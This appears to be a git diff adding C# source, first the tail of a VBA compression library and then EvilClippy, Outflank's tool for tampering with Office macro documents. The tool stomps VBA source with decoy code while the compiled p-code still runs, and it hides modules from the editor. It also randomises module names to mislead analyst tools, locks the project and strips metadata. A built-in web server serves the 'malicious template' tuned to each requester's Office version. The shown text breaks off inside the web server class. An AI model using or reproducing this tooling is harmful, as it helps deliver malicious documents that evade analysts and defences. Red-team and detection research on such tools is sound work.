IEnumerable RemoveRedundantTokens(IEnumerable tokens) + { + CopyToken previous = null; + foreach (var next in tokens) + { + if (previous == null) + { + previous = next; + continue; + } + if (previous.OverlapsWith(next)) + { + //figure out which one to keep. There can only be one! + if (previous.Length >= next.Length) + { + yield return previous; + // can't return next. + } + else + { + yield return next; + } + } + else + { + yield return previous; + previous = next; + } + } + } + + private static IEnumerable RemoveOverlappingTokens(IEnumerable tokens) + { + // create a list of the current tokens. + Node list = null; + foreach (var t in tokens.Reverse()) + { + list = new Node(t, list); + } + // Contract.Assert(list != null); + + return FindBestPath(list); + } + + private static Node FindBestPath(Node node) + { + // Contract.Requires(node != null); + + // find any overlapping tokens + Node bestPath = null; + foreach (var overlappingNode in GetOverlappingNodes(node)) + { + var currentPath = new Node(overlappingNode.Value, null); + + // find the next non-overlapping node. + var nonOverlappingNode = GetNextNonOverlappingNode(overlappingNode); + if (nonOverlappingNode != null) + { + currentPath.NextNode = FindBestPath(nonOverlappingNode); + } + + if (bestPath == null + || bestPath.Length < currentPath.Length) + { + bestPath = currentPath; + } + } + return bestPath; + } + + private static IEnumerable GetOverlappingNodes(Node node) + { + // Contract.Requires(node != null); + + var firstNode = node; + + while (node != null + && firstNode.Value.OverlapsWith(node.Value)) + { + yield return node; + node = node.NextNode; + } + } + + private static Node GetNextNonOverlappingNode(Node node) + { + // Contract.Requires(node != null); + + var firstNode = node; + + while (node != null + && firstNode.Value.OverlapsWith(node.Value)) + { + node = node.NextNode; + } + return node; + } + + private static IEnumerable WeaveTokens(IEnumerable copyTokens, byte[] uncompressedData) + { + var position = 0L; + foreach (var currentCopyToken in copyTokens) + { + while (position < currentCopyToken.Position) + { + yield return new LiteralToken(uncompressedData[position]); + position++; + } + yield return currentCopyToken; + position += currentCopyToken.Length; + } + while (position < uncompressedData.Length) + { + yield return new LiteralToken(uncompressedData[position]); + position++; + } + } + + internal static void Match(byte[] uncompressedData, long position, out UInt16 matchedOffset, out UInt16 matchedLength) + { + var decompressedCurrent = position; + var decompressedEnd = uncompressedData.Length; + const long decompressedChunkStart = 0; + + // SET Candidate TO DecompressedCurrent MINUS 1 + var candidate = decompressedCurrent - 1L; + // SET BestLength TO 0 + var bestLength = 0L; + var bestCandidate = 0L; + + // WHILE Candidate is GREATER THAN OR EQUAL TO DecompressedChunkStart + while (candidate >= decompressedChunkStart) + { + // SET C TO Candidate + var c = candidate; + // SET D TO DecompressedCurrent + var d = decompressedCurrent; + // SET Len TO 0 + var len = 0; + + // WHILE (D is LESS THAN DecompressedEnd) + // and (the byte at D EQUALS the byte at C) + while (d < decompressedEnd + && uncompressedData[d] == uncompressedData[c]) + { + // INCREMENT Len + len++; + // INCREMENT C + c++; + // INCREMENT D + d++; + } // END WHILE + + // IF Len is GREATER THAN BestLength THEN + if (len > bestLength) + { + // SET BestLength TO Len + bestLength = len; + // SET BestCandidate TO Candidate + bestCandidate = candidate; + } // ENDIF + + // DECREMENT Candidate + candidate--; + } // END WHILE + + // IF BestLength is GREATER THAN OR EQUAL TO 3 THEN + if (bestLength >= 3) + { + // CALL CopyToken Help (section 2.4.1.3.19.1) returning MaximumLength + var result = CopyToken.CopyTokenHelp(decompressedCurrent); + + // SET Length TO the MINIMUM of BestLength and MaximumLength + matchedLength = (UInt16)bestLength; + if (bestLength > result.MaximumLength) + matchedLength = result.MaximumLength; + + // SET Offset TO DecompressedCurrent MINUS BestCandidate + matchedOffset = (UInt16)(decompressedCurrent - bestCandidate); + } + else // ELSE + { + // SET Length TO 0 + matchedLength = 0; + // SET Offset TO 0 + matchedOffset = 0; + } // ENDIF + } + + //region Private Classes + + private class Node : IEnumerable + { + public Node(CopyToken value, Node nextNode) + { + // Contract.Requires(value != null); + + Value = value; + NextNode = nextNode; + } + + internal CopyToken Value { get; } + + internal Node NextNode { get; set; } + + internal long Length + { + get + { + if (NextNode != null) + { + return Value.Length + NextNode.Length; + } + return Value.Length; + } + } + + public IEnumerator GetEnumerator() + { + return new NodeEnumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + private class NodeEnumerator : IEnumerator + { + private Node _currentNode; + private Node _nextNode; + + public NodeEnumerator(Node node) + { + _nextNode = node; + } + + public void Dispose() + { + } + + public bool MoveNext() + { + if (_nextNode == null) + { + return false; + } + _currentNode = _nextNode; + _nextNode = _nextNode.NextNode; + return true; + } + + public void Reset() + { + throw new NotSupportedException(); + } + + public CopyToken Current => _currentNode.Value; + + object IEnumerator.Current => Current; + } + + //endregion + } + + /// + /// A TokenSequence is a FlagByte followed by an array of Tokens. The number of Tokens in the final + /// TokenSequence MUST be greater than or equal to 1. The number of Tokens in the final + /// TokenSequence MUST less than or equal to eight. All other TokenSequences in the + /// CompressedChunkData MUST contain eight Tokens. + /// + /// + internal class TokenSequence + { + private byte _flagByte; + private readonly List _tokens = new List(); + + public TokenSequence(IEnumerable enumerable) : this() + { + _tokens.AddRange(enumerable); + + // Contract.Assert(_tokens.Count > 0); + // Contract.Assert(_tokens.Count <= 8); + + // set the flag byte. + for (var i = 0; i < _tokens.Count; i++) + { + if (_tokens[i] is CopyToken) + { + SetIsCopyToken(i, true); + } + } + } + + private TokenSequence() + { } + + internal long Length => Tokens.Sum(t => t.Length); + + internal IReadOnlyList Tokens => _tokens; + + internal static TokenSequence GetFromCompressedData(BinaryReader reader, long position) + { + var sequence = new TokenSequence + { + _flagByte = reader.ReadByte() + }; + + for (var i = 0; i <= 7; i++) + { + if (sequence.GetIsCopyToken(i)) + { + var token = new CopyToken(reader, position); + sequence._tokens.Add(token); + position += Convert.ToInt64(token.Length); + } + else + { + sequence._tokens.Add(new LiteralToken(reader)); + position += 1; + } + } + return sequence; + } + + private void SetIsCopyToken(int index, bool value) + { + var setByte = (byte)Math.Pow(2, index); + _flagByte = (byte)(_flagByte | setByte); + } + + private bool GetIsCopyToken(int index) + { + var compareByte = (byte)Math.Pow(2, index); + return (compareByte & _flagByte) != 0x0; + } + + internal byte[] SerializeData() + { + var data = Enumerable.Repeat(_flagByte, 1); + foreach (var token in Tokens) + { + data = data.Concat(token.SerializeData()); + } + return data.ToArray(); + } + } + + public static class VbaCompression + { + public static byte[] Compress(byte[] data) + { + var buffer = new DecompressedBuffer(data); + var container = new CompressedContainer(buffer); + return container.SerializeData(); + } + + public static byte[] Decompress(byte[] data) + { + var container = new CompressedContainer(data); + var buffer = new DecompressedBuffer(container); + return buffer.Data; + } + } +} \ No newline at end of file diff --git a/evilclippy.cs b/evilclippy.cs new file mode 100644 index 0000000..7d90615 --- /dev/null +++ b/evilclippy.cs @@ -0,0 +1,945 @@ +// EvilClippy +// Cross-platform CFBF and MS-OVBA manipulation assistant +// +// Author: Stan Hegt (@StanHacked) / Outflank +// Date: 20200415 +// Version: 1.3 (added GUI unhide option) +// +// Special thanks to Carrie Roberts (@OrOneEqualsOne) from Walmart for her contributions to this project. +// +// Compilation instructions +// Mono: mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs +// Visual studio developer command prompt: csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs + +using System; +using OpenMcdf; +using System.Text; +using System.Collections.Generic; +using Kavod.Vba.Compression; +using System.Linq; +using NDesk.Options; +using System.Net; +using System.Threading; +using System.IO; +using System.IO.Compression; +using System.Text.RegularExpressions; +using System.Collections; + +public class MSOfficeManipulator +{ + // Verbosity level for debug messages + static int verbosity = 0; + + // Filename of the document that is about to be manipulated + static string filename = ""; + + // Name of the generated output file. + static string outFilename = ""; + + static CFStorage vbaProjectCurStorage; + static CFStorage macrosStorage; + + // Byte arrays for holding stream data of file + static CFStream vbaProjectStream; + static CFStream dirStream; + static CFStream projectStream; + static CFStream projectwmStream; + + static byte[] vbaProjectStreamBytes; + static byte[] dirStreamBytes; + static byte[] projectStreamBytes; + static byte[] projectwmStreamBytes; + + static public void Main(string[] args) + { + // List of target VBA modules to stomp, if empty => all modules will be stomped + List targetModules = new List(); + + // Filename that contains the VBA code used for substitution + string VBASourceFileName = ""; + + // Target MS Office version for pcode + string targetOfficeVersion = ""; + + // Option to hide modules from VBA editor GUI + bool optionHideInGUI = false; + + // Option to unhide modules from VBA editor GUI + bool optionUnhideInGUI = false; + + // Option to start web server to serve malicious template + int optionWebserverPort = 0; + + // Option to display help + bool optionShowHelp = false; + + // File format is OpenXML (docm or xlsm) + bool is_OpenXML = false; + + // Option to delete metadata from file + bool optionDeleteMetadata = false; + + // Option to set random module names in dir stream + bool optionSetRandomNames = false; + + // Option to reset module names in dir stream (undo SetRandomNames option) + bool optionResetModuleNames = false; + + // Option to set locked/unviewable options in Project Stream + bool optionUnviewableVBA = false; + + // Option to set unlocked/viewable options in Project Stream + bool optionViewableVBA = false; + + // Temp path to unzip OpenXML files to + String unzipTempPath = ""; + + + // Start parsing command line arguments + var p = new OptionSet() { + { "n|name=", "The target module name to stomp.\n" + + "This argument can be repeated.", + v => targetModules.Add (v) }, + { "s|sourcefile=", "File containing substitution VBA code (fake code).", + v => VBASourceFileName = v }, + { "g|guihide", "Hide code from VBA editor GUI.", + v => optionHideInGUI = v != null }, + { "gg|guiunhide", "Unhide code from VBA editor GUI.", + v => optionUnhideInGUI = v != null }, + { "t|targetversion=", "Target MS Office version the pcode will run on.", + v => targetOfficeVersion = v }, + { "w|webserver=", "Start web server on specified port to serve malicious template.", + (int v) => optionWebserverPort = v }, + { "d|delmetadata", "Remove metadata stream (may include your name etc.).", + v => optionDeleteMetadata = v != null }, + { "r|randomnames", "Set random module names, confuses some analyst tools.", + v => optionSetRandomNames = v != null }, + { "rr|resetmodulenames", "Undo the set random module names by making the ASCII module names in the DIR stream match their Unicode counter parts", + v => optionResetModuleNames = v != null }, + { "u|unviewableVBA", "Make VBA Project unviewable/locked.", + v => optionUnviewableVBA = v != null }, + { "uu|viewableVBA", "Make VBA Project viewable/unlocked.", + v => optionViewableVBA = v != null }, + { "v", "Increase debug message verbosity.", + v => { if (v != null) ++verbosity; } }, + { "h|help", "Show this message and exit.", + v => optionShowHelp = v != null }, + }; + + List extra; + try + { + extra = p.Parse(args); + } + catch (OptionException e) + { + Console.WriteLine(e.Message); + Console.WriteLine("Try '--help' for more information."); + return; + } + + if (extra.Count > 0) + { + filename = string.Join(" ", extra.ToArray()); + } + else + { + optionShowHelp = true; + } + + if (optionShowHelp) + { + ShowHelp(p); + return; + } + // End parsing command line arguments + + if(!File.Exists(filename)) + { + Console.WriteLine($"[!] Input file does not exist: \"{filename}\" !"); + return; + } + + // OLE Filename (make a copy so we don't overwrite the original) + outFilename = getOutFilename(filename); + string oleFilename = outFilename; + + try + { + unzipTempPath = CreateUniqueTempDirectory(); + ZipFile.ExtractToDirectory(filename, unzipTempPath); + + if (File.Exists(Path.Combine(unzipTempPath, "word", "vbaProject.bin"))) + { + oleFilename = Path.Combine(unzipTempPath, "word", "vbaProject.bin"); + } + else if (File.Exists(Path.Combine(unzipTempPath, "xl", "vbaProject.bin"))) + { + oleFilename = Path.Combine(unzipTempPath, "xl", "vbaProject.bin"); + } + else if (File.Exists(Path.Combine(unzipTempPath, "ppt", "vbaProject.bin"))) + { + oleFilename = Path.Combine(unzipTempPath, "ppt", "vbaProject.bin"); + } + + is_OpenXML = true; + } + catch (Exception e) + { + Console.WriteLine("Input file seems to be a 97-2003 Office document (OLE)"); + + // Not OpenXML format, Maybe 97-2003 format, Make a copy + if (File.Exists(outFilename)) File.Delete(outFilename); + File.Copy(filename, outFilename); + } + + // Read relevant streams + CompoundFile cf = new CompoundFile(oleFilename, CFSUpdateMode.Update, 0); + CFStorage commonStorage = cf.RootStorage; + + bool nestedVBA = false; + bool macrosStorageFlag = false; + bool vbaProjectCurHasProject = false; + CFStorage rootVbaStorage = null; + + if (cf.RootStorage.TryGetStorage("Macros") != null) + { + commonStorage = cf.RootStorage.GetStorage("Macros"); + macrosStorage = commonStorage; + macrosStorageFlag = true; + } + + else if (cf.RootStorage.TryGetStorage("_VBA_PROJECT_CUR") != null) + { + commonStorage = cf.RootStorage.GetStorage("_VBA_PROJECT_CUR"); + vbaProjectCurStorage = commonStorage; + + try + { + var foo = commonStorage.TryGetStorage("PROJECT"); + vbaProjectCurHasProject = true; + } + catch (CFItemNotFound) + { + try + { + var foo = commonStorage.TryGetStorage("project"); + vbaProjectCurHasProject = true; + } + catch (CFItemNotFound) + { + } + + } + } + + else if (cf.RootStorage.TryGetStorage("VBA") != null) + { + // Publisher: VBA -> VBA + rootVbaStorage = cf.RootStorage.GetStorage("VBA"); + + try + { + var foo = rootVbaStorage.GetStream("dir"); + } + catch (CFItemNotFound ex) when (ex.Message.Contains("Cannot find item")) + { + nestedVBA = true; + commonStorage = rootVbaStorage; + } + } + + var vbaStorage = commonStorage.GetStorage("VBA"); + if (vbaStorage == null) + { + throw new CFItemNotFound("Cannot find item"); + } + + vbaProjectStream = vbaStorage.GetStream("_VBA_PROJECT"); + byte[] vbaProjectStreamData = vbaProjectStream.GetData(); + + CFStorage storageForProject = (nestedVBA) ? rootVbaStorage : vbaStorage; + + if (macrosStorageFlag) + { + storageForProject = commonStorage; + } + + if(vbaProjectCurHasProject) + { + storageForProject = vbaProjectCurStorage; + } + + try + { + projectStream = storageForProject.GetStream("project"); + projectStreamBytes = projectStream.GetData(); + } + catch(Exception) + { + try + { + projectStream = storageForProject.GetStream("PROJECT"); + projectStreamBytes = projectStream.GetData(); + } + catch (Exception) + { + storageForProject = cf.RootStorage; + try + { + projectStream = storageForProject.GetStream("project"); + projectStreamBytes = projectStream.GetData(); + } + catch (Exception) + { + try + { + projectStream = storageForProject.GetStream("PROJECT"); + projectStreamBytes = projectStream.GetData(); + } + catch (Exception) + { + Console.WriteLine("[!] Giving up, could not find PROJECT stream! Format not recognized!"); + System.Environment.Exit(1); + } + } + } + } + + dirStream = vbaStorage.GetStream("dir"); + dirStreamBytes = Decompress(dirStream.GetData()); + + // Read project streams as string + string projectStreamString = System.Text.Encoding.UTF8.GetString(projectStreamBytes); + string projectwmStreamString = ""; + + try + { + try + { + projectwmStream = storageForProject.GetStream("projectwm"); + projectwmStreamBytes = projectwmStream.GetData(); + } + catch(Exception) + { + projectwmStream = storageForProject.GetStream("PROJECTwm"); + projectwmStreamBytes = projectwmStream.GetData(); + } + + projectwmStreamString = System.Text.Encoding.UTF8.GetString(projectwmStreamBytes); + } + catch(System.Exception e) + { + Console.WriteLine("[-] Could not find projectwm stream."); + } + + + + // Find all VBA modules in current file + List vbaModules = ParseModulesFromDirStream(dirStreamBytes); + + // Write streams to debug log (if verbosity enabled) + DebugLog("Hex dump of original _VBA_PROJECT stream:\n" + Utils.HexDump(vbaProjectStreamBytes)); + DebugLog("Hex dump of original dir stream:\n" + Utils.HexDump(dirStreamBytes)); + DebugLog("Hex dump of original PROJECT stream:\n" + Utils.HexDump(projectStreamBytes)); + + // Replace Office version in _VBA_PROJECT stream + if (targetOfficeVersion != "") + { + ReplaceOfficeVersionInVBAProject(vbaProjectStreamBytes, targetOfficeVersion); + vbaProjectStream.SetData(vbaProjectStreamBytes); + } + //Set ProjectProtectionState and ProjectVisibilityState to locked/unviewable see https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/dfd72140-85a6-4f25-8a17-70a89c00db8c + if (optionUnviewableVBA) + { + string tmpStr = Regex.Replace(projectStreamString, "CMG=\".*\"", "CMG=\"\""); + string newProjectStreamString = Regex.Replace(tmpStr, "GC=\".*\"", "GC=\"\""); + // Write changes to project stream + projectStream.SetData(Encoding.UTF8.GetBytes(newProjectStreamString)); + } + + //Set ProjectProtectionState and ProjectVisibilityState to be viewable see https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/dfd72140-85a6-4f25-8a17-70a89c00db8c + if (optionViewableVBA) + { + Console.WriteLine("Making the project visible..."); + // Console.WriteLine("Stream before: " + projectStreamString); + string tmpStr = projectStreamString; + tmpStr = Regex.Replace(tmpStr, "CMG=\"?.*\"?", "CMG=\"CAC866BE34C234C230C630C6\""); + tmpStr = Regex.Replace(tmpStr, "ID=\"?.*\"?", "ID=\"{00000000-0000-0000-0000-000000000000}\""); + tmpStr = Regex.Replace(tmpStr, "DPB=\"?.*\"?", "DPB=\"94963888C84FE54FE5B01B50E59251526FE67A1CC76C84ED0DAD653FD058F324BFD9D38DED37\""); + tmpStr = Regex.Replace(tmpStr, "GC=\"?.*\"?", "GC=\"5E5CF2C27646414741474\""); + string newProjectStreamString = tmpStr; + // Console.WriteLine("Stream afterw: " + newProjectStreamString); + + // Write changes to project stream + projectStream.SetData(Encoding.UTF8.GetBytes(newProjectStreamString)); + } + + + // Hide modules from GUI + if (optionHideInGUI) + { + foreach (var vbaModule in vbaModules) + { + if ((vbaModule.moduleName != "ThisDocument") && (vbaModule.moduleName != "ThisWorkbook")) + { + Console.WriteLine("Hiding module: " + vbaModule.moduleName); + projectStreamString = projectStreamString.Replace("Module=" + vbaModule.moduleName, ""); + } + } + + // Write changes to project stream + projectStream.SetData(Encoding.UTF8.GetBytes(projectStreamString)); + } + + // Undo the Hide modules from GUI effects + if (optionUnhideInGUI) + { + if (projectwmStreamString.Length > 0) + { + ArrayList vbaModulesNamesFromProjectwm = getModulesNamesFromProjectwmStream(projectwmStreamString); + Regex theregex = new Regex(@"(Document\=.*\/.{10})([\S\s]*?)(ExeName32\=|Name\=|ID\=|Class\=|BaseClass\=|Package\=|HelpFile\=|HelpContextID\=|Description\=|VersionCompatible32\=|CMG\=|DPB\=|GC\=)"); + Match m = theregex.Match(projectStreamString); + if (m.Groups.Count != 4) + { + Console.WriteLine("Error, could not find the location to insert module names. Not able to unhide modules"); + } + else + { + string moduleString = "\r\n"; + + foreach (var vbaModuleName in vbaModulesNamesFromProjectwm) + { + Console.WriteLine("Unhiding module: " + vbaModuleName); + moduleString = moduleString.Insert(moduleString.Length, "Module=" + vbaModuleName + "\r\n"); + } + + projectStreamString = projectStreamString.Replace(m.Groups[0].Value, m.Groups[1].Value + moduleString + m.Groups[3].Value); + + // write changes to project stream + projectStream.SetData(Encoding.UTF8.GetBytes(projectStreamString)); + } + } + else + { + Console.WriteLine("[-] Not available: Undo the Hide modules from GUI effects"); + } + } + + // Stomp VBA modules + if (VBASourceFileName != "") + { + byte[] streamBytes; + + foreach (var vbaModule in vbaModules) + { + DebugLog("VBA module name: " + vbaModule.moduleName + "\nOffset for code: " + vbaModule.textOffset); + + // If this module is a target module, or if no targets are specified, then stomp + if (targetModules.Contains(vbaModule.moduleName) || !targetModules.Any()) + { + Console.WriteLine("Now stomping VBA code in module: " + vbaModule.moduleName); + + streamBytes = vbaStorage.GetStream(vbaModule.moduleName).GetData(); + + DebugLog("Existing VBA source:\n" + GetVBATextFromModuleStream(streamBytes, vbaModule.textOffset)); + + // Get new VBA source code from specified text file. If not specified, VBA code is removed completely. + string newVBACode = ""; + if (VBASourceFileName != "") + { + try + { + newVBACode = System.IO.File.ReadAllText(VBASourceFileName); + } + catch (Exception e) + { + Console.WriteLine("ERROR: Could not open VBA source file " + VBASourceFileName); + Console.WriteLine("Please make sure this file exists and contains ASCII only characters."); + Console.WriteLine(); + Console.WriteLine(e.Message); + return; + } + } + + DebugLog("Replacing with VBA code:\n" + newVBACode); + + streamBytes = ReplaceVBATextInModuleStream(streamBytes, vbaModule.textOffset, newVBACode); + + DebugLog("Hex dump of VBA module stream " + vbaModule.moduleName + ":\n" + Utils.HexDump(streamBytes)); + + vbaStorage.GetStream(vbaModule.moduleName).SetData(streamBytes); + } + } + } + + + // Set random ASCII names for VBA modules in dir stream + if (optionSetRandomNames) + { + Console.WriteLine("Setting random ASCII names for VBA modules in dir stream (while leaving unicode names intact)."); + + // Recompress and write to dir stream + dirStream.SetData(Compress(SetRandomNamesInDirStream(dirStreamBytes))); + } + + // Reset module names in dir stream so that the ASCII names match the Unicode names (undo SetRandomNames option) + if (optionResetModuleNames) + { + Console.WriteLine("Resetting module names in dir stream to match names is _VBA_PROJECT stream (undo SetRandomNames option)"); + + // Recompress and write to dir stream + dirStream.SetData(Compress(ResetModuleNamesInDirStream(dirStreamBytes))); + } + + // Delete metadata from document + if (optionDeleteMetadata) + { + try + { + cf.RootStorage.Delete("\u0005SummaryInformation"); + } + catch (Exception e) + { + Console.WriteLine("ERROR: metadata stream does not exist (option ignored)"); + DebugLog(e.Message); + } + } + + // Commit changes and close file + cf.Commit(); + cf.Close(); + + // Purge unused space in file + CompoundFile.ShrinkCompoundFile(oleFilename); + + // Zip the file back up as a docm or xlsm + if (is_OpenXML) + { + if (File.Exists(outFilename)) File.Delete(outFilename); + ZipFile.CreateFromDirectory(unzipTempPath, outFilename); + // Delete Temporary Files + Directory.Delete(unzipTempPath, true); + } + + // Start web server, if option is specified + if (optionWebserverPort != 0) + { + try + { + WebServer ws = new WebServer(SendFile, "http://*:" + optionWebserverPort.ToString() + "/"); + ws.Run(); + Console.WriteLine("Webserver starting on port " + optionWebserverPort.ToString() + ". Press a key to quit."); + Console.ReadKey(); + ws.Stop(); + Console.WriteLine("Webserver closed. Goodbye!"); + } + catch (Exception e) + { + Console.WriteLine("ERROR: could not start webserver on specified port"); + DebugLog(e.Message); + } + } + } + + private static ArrayList getModulesNamesFromProjectwmStream(string projectwmStreamString) + { + ArrayList vbaModulesNamesFromProjectwm = new ArrayList(); + Regex theregex = new Regex(@"(?<=\0{3})([^\0]+?)(?=\0)"); + MatchCollection matches = theregex.Matches(projectwmStreamString); + + foreach (Match match in matches) + { + vbaModulesNamesFromProjectwm.Add(match.Value); + } + + return vbaModulesNamesFromProjectwm; + } + + public static string getOutFilename(String filename) + { + string fn = Path.GetFileNameWithoutExtension(filename); + string ext = Path.GetExtension(filename); + string path = Path.GetDirectoryName(filename); + return Path.Combine(path, fn + "_EvilClippy" + ext); + } + + public static string CreateUniqueTempDirectory() + { + var uniqueTempDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString())); + Directory.CreateDirectory(uniqueTempDir); + return uniqueTempDir; + } + + static public byte[] SendFile(HttpListenerRequest request) + { + Console.WriteLine("Serving request from " + request.RemoteEndPoint.ToString() + " with user agent " + request.UserAgent); + + CompoundFile cf = null; + try + { + cf = new CompoundFile(outFilename, CFSUpdateMode.Update, 0); + } + catch (Exception e) + { + Console.WriteLine("ERROR: Could not open file " + outFilename); + Console.WriteLine("Please make sure this file exists and is .docm or .xlsm file or a .doc in the Office 97-2003 format."); + Console.WriteLine(); + Console.WriteLine(e.Message); + } + + CFStream streamData = vbaProjectStream; + byte[] streamBytes = streamData.GetData(); + + string targetOfficeVersion = UserAgentToOfficeVersion(request.UserAgent); + + ReplaceOfficeVersionInVBAProject(streamBytes, targetOfficeVersion); + + vbaProjectStream.SetData(streamBytes); + + // Commit changes and close file + cf.Commit(); + cf.Close(); + + Console.WriteLine("Serving out file '" + outFilename + "'"); + return File.ReadAllBytes(outFilename); + } + + static string UserAgentToOfficeVersion(string userAgent) + { + string officeVersion = ""; + + // Determine version number + if (userAgent.Contains("MSOffice 16")) + officeVersion = "2016"; + else if (userAgent.Contains("MSOffice 15")) + officeVersion = "2013"; + else + officeVersion = "unknown"; + + // Determine architecture + if (userAgent.Contains("x64") || userAgent.Contains("Win64")) + officeVersion += "x64"; + else + officeVersion += "x86"; + + DebugLog("Determined Office version from user agent: " + officeVersion); + + return officeVersion; + } + + static void ShowHelp(OptionSet p) + { + Console.WriteLine("Usage: eviloffice.exe [OPTIONS]+ filename"); + Console.WriteLine(); + Console.WriteLine("Author: Stan Hegt"); + Console.WriteLine("Email: stan@outflank.nl"); + Console.WriteLine(); + Console.WriteLine("Options:"); + p.WriteOptionDescriptions(Console.Out); + } + + static void DebugLog(object args) + { + if (verbosity > 0) + { + Console.WriteLine(); + Console.WriteLine("########## DEBUG OUTPUT: ##########"); + Console.WriteLine(args); + Console.WriteLine("###################################"); + Console.WriteLine(); + } + } + + private static byte[] ReplaceOfficeVersionInVBAProject(byte[] moduleStream, string officeVersion) + { + byte[] version = new byte[2]; + + switch (officeVersion) + { + case "2010x86": + version[0] = 0x97; + version[1] = 0x00; + break; + case "2013x86": + version[0] = 0xA3; + version[1] = 0x00; + break; + case "2016x86": + version[0] = 0xAF; + version[1] = 0x00; + break; + case "2019x86": + version[0] = 0xAF; + version[1] = 0x00; + break; + case "2013x64": + version[0] = 0xA6; + version[1] = 0x00; + break; + case "2016x64": + version[0] = 0xB2; + version[1] = 0x00; + break; + case "2019x64": + version[0] = 0xB2; + version[1] = 0x00; + break; + default: + Console.WriteLine("ERROR: Incorrect MS Office version specified - skipping this step."); + return moduleStream; + } + + Console.WriteLine("Targeting pcode on Office version: " + officeVersion); + + moduleStream[2] = version[0]; + moduleStream[3] = version[1]; + + return moduleStream; + } + + private static byte[] ReplaceVBATextInModuleStream(byte[] moduleStream, UInt32 textOffset, string newVBACode) + { + return moduleStream.Take((int)textOffset).Concat(Compress(Encoding.UTF8.GetBytes(newVBACode))).ToArray(); + } + + private static string GetVBATextFromModuleStream(byte[] moduleStream, UInt32 textOffset) + { + string vbaModuleText = System.Text.Encoding.UTF8.GetString(Decompress(moduleStream.Skip((int)textOffset).ToArray())); + + return vbaModuleText; + } + + private static byte[] SetRandomNamesInDirStream(byte[] dirStream) + { + // 2.3.4.2 dir Stream: Version Independent Project Information + // https://msdn.microsoft.com/en-us/library/dd906362(v=office.12).aspx + // Dir stream is ALWAYS in little endian + + int offset = 0; + UInt16 tag; + UInt32 wLength; + + while (offset < dirStream.Length) + { + tag = GetWord(dirStream, offset); + wLength = GetDoubleWord(dirStream, offset + 2); + + // The following idiocy is because Microsoft can't stick to their own format specification - taken from Pcodedmp + if (tag == 9) + wLength = 6; + else if (tag == 3) + wLength = 2; + + switch (tag) + { + case 26: // 2.3.4.2.3.2.3 MODULESTREAMNAME Record + System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding(); + encoding.GetBytes(Utils.RandomString((int)wLength), 0, (int)wLength, dirStream, (int)offset + 6); + + break; + } + + offset += 6; + offset += (int)wLength; + } + + return dirStream; + } + + private static byte[] ResetModuleNamesInDirStream(byte[] dirStream) + { + // 2.3.4.2 dir Stream: Version Independent Project Information + // https://msdn.microsoft.com/en-us/library/dd906362(v=office.12).aspx + // Dir stream is ALWAYS in little endian + + int offset = 0; + UInt16 tag; + UInt32 wLength; + + while (offset < dirStream.Length) + { + tag = GetWord(dirStream, offset); + wLength = GetDoubleWord(dirStream, offset + 2); + + // The following idiocy is because Microsoft can't stick to their own format specification - taken from Pcodedmp + if (tag == 9) + wLength = 6; + else if (tag == 3) + wLength = 2; + + switch (tag) + { + case 26: // 2.3.4.2.3.2.3 MODULESTREAMNAME Record + System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding(); + UInt32 wLengthOrig = wLength; + int offsetOrig = offset; + offset += 6; + offset += (int)wLength; + tag = GetWord(dirStream, offset); + wLength = GetDoubleWord(dirStream, offset + 2); + string moduleNameFromUnicode = System.Text.Encoding.Unicode.GetString(dirStream.Skip(offset + 6).Take((int)wLength).ToArray()); + encoding.GetBytes(moduleNameFromUnicode, 0, (int)wLengthOrig, dirStream, (int)offsetOrig + 6); + break; + } + + offset += 6; + offset += (int)wLength; + } + + return dirStream; + } + + private static List ParseModulesFromDirStream(byte[] dirStream) + { + // 2.3.4.2 dir Stream: Version Independent Project Information + // https://msdn.microsoft.com/en-us/library/dd906362(v=office.12).aspx + // Dir stream is ALWAYS in little endian + + List modules = new List(); + + int offset = 0; + UInt16 tag; + UInt32 wLength; + ModuleInformation currentModule = new ModuleInformation { moduleName = "", textOffset = 0 }; + + while (offset < dirStream.Length) + { + tag = GetWord(dirStream, offset); + wLength = GetDoubleWord(dirStream, offset + 2); + + // The following idiocy is because Microsoft can't stick to their own format specification - taken from Pcodedmp + if (tag == 9) + wLength = 6; + else if (tag == 3) + wLength = 2; + + switch (tag) + { + case 26: // 2.3.4.2.3.2.3 MODULESTREAMNAME Record + currentModule.moduleName = System.Text.Encoding.UTF8.GetString(dirStream, (int)offset + 6, (int)wLength); + break; + case 49: // 2.3.4.2.3.2.5 MODULEOFFSET Record + currentModule.textOffset = GetDoubleWord(dirStream, offset + 6); + modules.Add(currentModule); + currentModule = new ModuleInformation { moduleName = "", textOffset = 0 }; + break; + } + + offset += 6; + offset += (int)wLength; + } + + return modules; + } + + public class ModuleInformation + { + public string moduleName; // Name of VBA module stream + + public UInt32 textOffset; // Offset of VBA source code in VBA module stream + } + + private static UInt16 GetWord(byte[] buffer, int offset) + { + var rawBytes = new byte[2]; + + Array.Copy(buffer, offset, rawBytes, 0, 2); + //if (!BitConverter.IsLittleEndian) { + // Array.Reverse(rawBytes); + //} + + return BitConverter.ToUInt16(rawBytes, 0); + } + + private static UInt32 GetDoubleWord(byte[] buffer, int offset) + { + var rawBytes = new byte[4]; + + Array.Copy(buffer, offset, rawBytes, 0, 4); + //if (!BitConverter.IsLittleEndian) { + // Array.Reverse(rawBytes); + //} + + return BitConverter.ToUInt32(rawBytes, 0); + } + + private static byte[] Compress(byte[] data) + { + var buffer = new DecompressedBuffer(data); + var container = new CompressedContainer(buffer); + return container.SerializeData(); + } + + private static byte[] Decompress(byte[] data) + { + var container = new CompressedContainer(data); + var buffer = new DecompressedBuffer(container); + return buffer.Data; + } +} + +// Code inspiration from https://codehosting.net/blog/BlogEngine/post/Simple-C-Web-Server +// and https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener +public class WebServer +{ + private readonly HttpListener _listener = new HttpListener(); + private readonly Func _responderMethod; + + public WebServer(Func method, params string[] prefixes) + { + if (!HttpListener.IsSupported) + throw new NotSupportedException("Needs Windows XP SP2, Server 2003 or later."); + + // URI prefixes are required, for example "http://localhost:8080/index/". + if 